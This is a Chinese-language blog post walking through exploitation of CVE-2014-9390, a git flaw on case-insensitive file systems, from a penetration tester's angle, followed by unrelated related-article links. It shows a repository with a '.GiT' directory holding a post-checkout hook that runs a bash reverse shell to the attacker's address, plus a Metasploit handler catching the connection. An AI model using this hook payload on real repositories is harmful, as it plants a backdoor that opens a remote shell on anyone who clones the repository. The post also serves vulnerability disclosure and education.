One git command may cause you hacked(CVE-2014-9390)
0x00 背景
CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。
让我们以渗透测试的角度来看看这个漏洞。
0x01 准备
我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。
|
1
2
3
4
5
6
7
8
9
10
|
root@rootlab:~/cve-2014-9390# mkdir .GiTroot@rootlab:~/cve-2014-9390# cd .GiT/root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txtroot@rootlab:~/cve-2014-9390/.GiT# cd ..root@rootlab:~/cve-2014-9390# git add .root@rootlab:~/cve-2014-9390# git commit -m 'poc'[master bec157d] poc1 file changed, 1 insertion(+)create mode 100644 .GiT/vulnerable.txtroot@rootlab:~/cve-2014-9390# git push |
我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看
|
1
2
3
4
5
6
7
8
9
|
rootlab@MINCE ~$ git clone git@gitlab.com:mehmet/cve-2014-9390.gitCloning into 'cve-2014-9390'...Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':remote: Counting objects: 7, done.remote: Compressing objects: 100% (3/3), done.remote: Total 7 (delta 0), reused 0 (delta 0)RReceiving objects: 100% (7/7), done.Checking connectivity... done. |
给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用
什么是git的hooks
与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。
当执行git命令如git pull和git checkout时就可以执行客户端的脚本。
如何实现git hooks?
重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。
我们创建一个假的git目录然后建立一个叫post-checkout的文件。
|
1
2
3
4
5
6
7
8
9
|
root@rootlab:~/cve-2014-9390# mkdir .GiT/hooksroot@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkoutroot@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkoutroot@rootlab:~/cve-2014-9390# git add .root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload'[master 389c979] add powershell payload1 file changed, 4 insertions(+)create mode 100644 .GiT/hooks/post-checkoutroot@rootlab:~//cve-2014-9390# git push |
我们在服务器端监听
|
1
2
3
4
5
6
7
|
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD generic/shell_reverse_tcpmsf exploit(handler) > set LPORT 443msf exploit(handler) > set LHOST 108.61.164.142msf exploit(handler) > exploit[*] Started reverse handler on 108.61.164.142:443[*] Starting the payload handler... |
我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

One git command may cause you hacked(CVE-2014-9390)的更多相关文章
- [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案
[Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案 问题情景 使用SourceTree,可以方便开发人员快速的套用GitFlow开发 ...
- Cordova 3.0 Plugin 安装 及"git" command line tool is not installed
根据http://docs.phonegap.com/en/edge/guide_cli_index.md.html#The%20Command-line%20Interface Windows命令行 ...
- [Practical Git] Navigate git command pager output with Unix less commands
When using a git command that can have a large amount of output (like git log, git diff, or git blam ...
- git: command not found
在使用git时,出现“git: command not found”的情况,于是使用yum安装: [root@localhost ~]# yum install -y gitLoaded plugin ...
- 警告: git command could not be found. Please create an alias or add it to yo
5 Answers active answertab=oldest#tab-top" title="Answers in the order they were provided& ...
- Git Command之Code Review
原文链接 准备 Step 1. Create a team and add a teammate Step 2. Create a repository with some content 应用 Cl ...
- git command
下载github代码 git clone https://github.com/zhoug2020/2015.git 在github上创建仓库: Create a new repository on ...
- git command line 提交代码
echo "# spring-boot-apollo-demo" >> README.md git init git add README.md git commit ...
- 解决git: 'subtree' is not a git command. See 'git --help'.
一.第一方法 git clone https://github.com/git/git.git cd git/contrib/subtree sudo make prefix=/usr sudo ma ...
随机推荐
- MFC编程小技巧——强制杀死进程
在某些应用场合下,我们可能需要在启动A进程启动时关闭进程B.MFC下该如何做呢?以下是我项目中用到的代码: int KillProcess(DWORD Pid) { //打开进程得到进程句柄 HAND ...
- android 10 事件
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layo ...
- 支付宝手机网站支付流程(Node实现)
前言 公司M站要接入支付宝,借机研究了一下支付宝的支付流程.毕竟,只有公司才能拿到支付接口权限. 主要参考文档: https://doc.open.alipay.com/doc2/detail?tre ...
- WWDC-UIKit 中协议与值类型编程实战
本文为 WWDC 2016 Session 419 的部分内容笔记.强烈推荐观看. 设计师来需求了 在我们的 App 中,通常需要自定义一些视图.例如下图: 我们可能会在很多地方用到右边为内容,左边有 ...
- Elasticsearch .Net Client NEST 多条件查询示例
Elasticsearch .Net Client NEST 多条件查询示例 /// <summary> /// 多条件搜索例子 /// </summary> public c ...
- 第二篇:python高级之装饰器
python高级之装饰器 python高级之装饰器 本节内容 高阶函数 嵌套函数及闭包 装饰器 装饰器带参数 装饰器的嵌套 functools.wraps模块 递归函数被装饰 1.高阶函数 高阶函 ...
- HTML5 WebAudioAPI简介(一)
一.常用对象 1.AudioContext对象 AudioContext是一个专门用于音频处理的接口,并且原理是讲AudioContext创建出来的各种节点(AudioNode)相互连接,音频数据流经 ...
- Adb工具常用操作-转(二)
一. PC与模拟器或真机交换文件(adb pull和adb push) 在开发阶段或其他原因,经常需要将PC上的文件复制到模拟器或真机上,或将模拟机和真机上的文件复制到PC上.使用adb pull和a ...
- 分享:带波形的语音播放工具(wavesurfer-js)
项目名称:wavesurfer-js github地址:https://github.com/katspaugh/wavesurfer.js 官网地址:http://wavesurfer-js.org ...
- C#入门经典(第五版)学习笔记(二)
---------------函数---------------参数数组:可指定一个特定的参数,必须是最后一个参数,可使用个数不定的参数调用函数,用params关键字定义它们 例如: static i ...